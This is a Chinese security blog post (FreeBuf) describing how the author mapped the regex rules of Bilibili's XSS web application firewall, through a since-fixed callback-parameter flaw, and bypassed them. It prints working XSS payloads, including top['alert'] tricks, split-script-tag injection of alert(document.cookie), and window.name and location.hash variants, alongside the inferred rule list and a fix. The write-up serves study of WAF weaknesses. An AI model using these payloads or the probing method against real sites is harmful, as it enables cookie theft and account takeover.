一则有趣的XSS WAF规则探测与绕过

  • A+
所属分类:未分类

*本文作者:Conan,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。

前言

本文以B站一个有趣的XSS(已修复)为引子(为什么说有趣后面再解释),作为实例分析其WAF的规则,方便大家加深对XSS WAF探测以及针对性bypass的理解。

进入主题

一、一般waf是由多条正则配合使用,因而绕过也必须根据实际情况构造xss探针'`";><aaa bbb=ccc>ddd<aaa/>的方式逐步理清waf规则,对于没被wa的再在chrome浏览器的element和source看xss探针的解析,慢慢耐心尝试即可。

二、个人对于waf bypass的理解:本来应当被wa会生效的payload不在规则库里或用本来就不会生效的payload(这时候是大概率能通过waf的)经过服务器处理后payload最后生效了。

三、过程

1. 首先是7师傅给了一个链接,让我们绕一绕b站的waf,callback参数存在xss。image.png

2. 上xss探针:';`"><aaa bbb=ccc>ddd<aaa/>

image.png可以看到探针成功被解析为标签和属性。

3. 上经典payload(这里由于可以控制标签,优先使用<img><script>):

对于<img src=x onerror=alert(1)>

image.png对于<script>alert(1)<script>

image.png可以看到均被waf拦截了。

4. 分析waf规则:基于从局部到整体的思想(这里是可以写成一个自动化的waf规则探测脚本的,xsstrike有简单的waf探测规则)

这里是xsstrike的简单探测截图:

image.png于是可以率先得到一条waf规则:<script\s+[^>]*src=.* (注意实际的正则可能特别复杂,这里是简化版的,没有考虑一些特殊字符,比如字母和数字可能可以互换,还有一些特殊字符,空格等等,这里能大致描述清楚waf的正则表达式的主要结构就可以了,下面出现的正则表达式同理) 。

image.png

验证一下确实如此 :

image.png5. 开始我们的手工waf规则分析

(1) 局部探测 

<img>会wa么,没有wa:

image.png

    alert(1)会wa么,没有wa :

image.png

单独的onerror会wa么,没有:

image.pngsrc=x会wa么,没有wa:

image.png因此是某部分组合起来了才导致被wa了,单独的并没有 。

(2) 尝试逐步组合

<img src=x>会wa么,没有wa:

image.png<img src=x onerror=xxxx>会wa么,没有wa:

image.png<img src=x onerror=alert(>会wa么,没有wa:

image.png

<img src=x onerror=alert(xxxx>会wa么,终于wa了哈哈:

image.png

(3) 回溯waf规则,<img src=x onerror=aaa(bbb> 会wa么,不wa :

image.png这里我们就可以得知aaa处存在黑名单校验,alert在黑名单里,试试prompt/confirm呢 :

image.png均被wa了,单独提取出onerror=alert(xxxx 呢,竟然不会:

image.png再试试onerror=alert(xxxx),终于wa了 :

image.png

这里就要分析为什么<img src=x onerror=alert(xxxx>会wa,但onerror=alert(xxxx不会,只有补全了右括号才会的原因,我的猜测是前者触发了另一条waf规则(针对标签开头的waf规则<[^>]*\s+on\w+=(?:prompt|alert|confirm){1}\(\w+,用<..aaaa onbbbb=alert(ccc成功触发waf(注意这里用\w的原因是比较懒,经过测试数字型on1111并不会被wa,描述清结构即可=。=)

image.png

image.png而后者对应的waf规则直接是on\w+=(?:prompt|alert|confirm){1}\(\w+\) 。

到这里我们明白我们的payload被wa的原因是触发了下列这两条(同时触发或者触发其中一条都会wa)。

on\w+=(?:prompt|alert|confirm){1}\(\w+\)

<[^>]*\s+on\w+=(?:prompt|alert|confirm){1}\(\w+

分析第一条规则和第二条规则,最主要的是对弹框函数的过滤,因此使用黑名单之外的函数可能bypass,测试发现console.log可以绕过:

image.png

但这里要求是弹框,对于函数的黑名单我们想到了可以用top对象绕过top['alert'](1)或者top['al'+'ert'](1)由于[]的存在不匹配字母数字或者下划线(\w)导致<img src=x onerror=top['alert'](1)>不匹配正则表达式也就不会被wa。

image.png

image.png(4) 对于7师傅的解法的分析:

a. 使用script标签利用响应包会拼接双写payload绕过(基于特殊情景构造不在waf规则里的无效payload,经过组合后又生效了,也就是上文之前对于bypass的第二种理解)

利用</script><script>+</script></script>拼接闭合中间的<script>标签 ,然后浏览器解析的时候为我们补上了最后的</script>

payload向量结构:aaa</script>bbb<script>ccc

image.png

可以看到最后aaa和ccc都是在<script>标签里了,并且aaa换成函数名+括号可以绕过了正则<script>.*\(.*\),将a替换为alert(document.cookie) ,将c替换为任意一个不被wa的变量或内置函数对象名即可console.log

payload:alert(document.cookie)</script>bbb<script>console.log

image.png

image.png

b. 7师傅的解法巧妙利用了前后双写拼接闭合中间的方式绕过<script>后的绝大部分正则检测,但对于正则的描述还不够具体,<script>aaa(bbb) 并不会被wa

image.png因此联想到<script>alert(1)</script> 被wa还是因为函数的原因,所以正则应该是<script>.*\s(?:alert|prompt|confirm)\(.*\),因此简单的做法还是直接利用top对象绕过即可,payloads:<script>top['alert'](1)</script>

image.png

(5) 到这里发现了什么吗?

前面的截图中有的是弹1有的是弹document.cookie,因为7师傅的解法可以弹document.cookie,而其他两种解法的document.cookie被wa了,也就是说我们触发了某些waf规则了。

a. <script>top['alert'](document.cookie)</script>被wa

对比<script>aaa(document.cookie)<bbb>aaa(document.cookie)

image.png

可以发现与<script>有关,经测试<script>document.cookie<script>doucment['cookie']均wa,再缩小,发现 <script>document[xxx]<script>document.xxx也wa了,但是<script>documentxxx不wa,于是乎可以判断又有两个waf规则很显然,即<script>.*\s?document\.\w+<script>.*\s?document\[\w+\]

再对比<script>aaa[](document.cookie)<script>aaa[bbb](document.cookie)

image.png可以发现后者被wa了,此时想到用反引号代替括号,但反引号内的document.cookie 并不会被解析为对象,确实绕过了规则但并没有实现弹cookie,

image.png

到这里基本可以归纳补充加入反引号的规则的逃逸为<script>[^`]*document\.\w+<script>[^`]*document\[\w+\]

缩小的过程的还发现<script>\w+\.cookie也会wa,到这里我就不想弹cookie了,打扰了。

尝试加载远程src,发现<script\s(.*\s)?src(=\w+)?>也wa了,到这里基本放弃对<script>后的规则的bypass了,打扰了。

b. <img src=x onerror=top['alert'](document.cookie)>

经过a的分析,对于标签内的document.cookie的规则我觉得也是凶多吉少,这里不再尝试

c. 尝试了下a标签,发现<a href=javascript:xxx就会被wa,但是<a href=ccc><a yyy=javascript:xxx><bbb href=javascript:xxx>以及javascript:xxx(yyy) 都不会wa,于是可以明白对a标签的href属性的伪协议做了针对,为<a\s(.*\s)?href=javascript:.*>

d. 最终的变相绕过:利用window.name或location.hash放置payload,由于window.name和location.hash.slice(1)不会经过服务器也就不会触发waf

window.name版的payload:<img%20src=x%20onerror=top[%27alert%27](window.name)>

image.png

image.png

location.hash.slice(1)版的payload:<img%20src=x%20onerror=top[%27alert%27](location.hash.slice`1`)>#document.cookie,测试发现触发了另一条规则导致被wa了,<img\s[^>]*on\w+=\w+\[\w*\]\(\w*\)<img\s[^>]*on\w+=`\w*`.*

(6) 由于可以控制标签,也就是说可以对b站的waf规则做一遍深入的探测,同时可能利用的姿势也会很多,也可能利用多种编码以及特殊字符等等,但fuzz的工作量也会增多,这里的重点是对waf规则的探测分析与针对正则层面的bypass,因此就不继续下去了。

(7) 至今已发现的b站waf规则总结:

on\w+=(?:prompt|alert|confirm){1}\(\w+\)

<[^>]*\s+on\w+=(?:prompt|alert|confirm){1}\(\w+

<script>[^`]*document\[\w+\]

<script>[^`]*document\.\w+

<script>\w+\.cookie

<script\s(.*\s)?src(=\w+)?>

<a\s(.*\s)?href=javascript:.*>

<img\s[^>]*on\w+=\w+\[\w*\]\(\w*\)

<img\s[^>]*on\w+=`\w*`.*

当然这些规则可能不会很准确,但能帮助我们基本了解大概的waf规则结构,然后才可以做出相应的bypass。

从我们已经分析出的规则,b站对on事件的过滤、对a标签的href属性的过滤和对<script>后的极尽苛责的过滤可以看出b站的waf确实很有故事=。=。

(8) 修复方案:增加规则库或者实体编码转义尖括号

总结

上述仅仅讲述了waf 规则探测的基本思想和简单的bypass以及自己对waf的一些理解,师傅们当茶点看看就好,不喜勿喷哈,欢迎交流=。=

*本文作者:Conan,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: